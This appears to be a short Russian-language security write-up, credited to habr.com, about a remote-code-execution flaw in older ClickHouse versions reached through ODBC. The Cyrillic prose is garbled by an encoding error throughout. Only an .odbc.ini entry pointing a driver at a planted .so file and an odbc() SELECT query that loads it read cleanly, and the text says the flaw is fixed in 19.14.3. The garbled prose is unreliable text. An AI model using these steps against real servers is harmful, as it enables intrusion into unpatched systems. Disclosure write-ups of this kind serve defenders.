ClickHouse ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ODBC ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΅Π΄ΠΈΠ½ΡΡ‚ΡŒΡΡ с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ Π±Π°Π·Π°ΠΌΠΈ Π΄Π°Π½Π½Ρ‹Ρ…. Π’ ODBC Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΏΡƒΡ‚ΡŒ ΠΊ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ΅ с Π΄Ρ€Π°ΠΉΠ²Π΅Ρ€ΠΎΠΌ Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… (.so). Π‘Ρ‚Π°Ρ€Ρ‹Π΅ вСрсии ClickHouse позволяли ΠΏΡ€ΠΎΠ²ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΎΠ΅ прямо Π² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ΅ запросов, Π½ΠΎ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π° Π±ΠΎΠ»Π΅Π΅ строгая ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° строки соСдинСния Π² odbc-bridge, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΏΡƒΡ‚ΡŒ ΠΊ Π΄Ρ€Π°ΠΉΠ²Π΅Ρ€Ρƒ ΠΈΠ· запроса. Но Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΈΡΠ°Ρ‚ΡŒ Π² домашний ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ, ΠΎΠΏΠΈΡΠ°Π½Π½ΡƒΡŽ Π²Ρ‹ΡˆΠ΅?

Π”Π°Π²Π°ΠΉΡ‚Π΅ создадим Ρ„Π°ΠΉΠ» ~/.odbc.ini с Ρ‚Π°ΠΊΠΈΠΌ содСрТимым:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

Π·Π°Ρ‚Π΅ΠΌ ΠΏΡ€ΠΈ запускС SELECT * FROM odbc('DSN=lalala', 'test', 'test'); Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ΄Π³Ρ€ΡƒΠΆΠ΅Π½Π° Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° test.so ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΎ RCE (спасибо buglloc Π·Π° Π½Π°Π²ΠΎΠ΄ΠΊΡƒ).

Π­Ρ‚ΠΈ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ уязвимости Π±Ρ‹Π»ΠΈ исправлСны Π² вСрсии ClickHouse 19.14.3. Π‘Π΅Ρ€Π΅Π³ΠΈΡ‚Π΅ свои ClickHouse ΠΈ ZooKeepers!

Π˜ΡΡ‚ΠΎΡ‡Π½ΠΈΠΊ: habr.com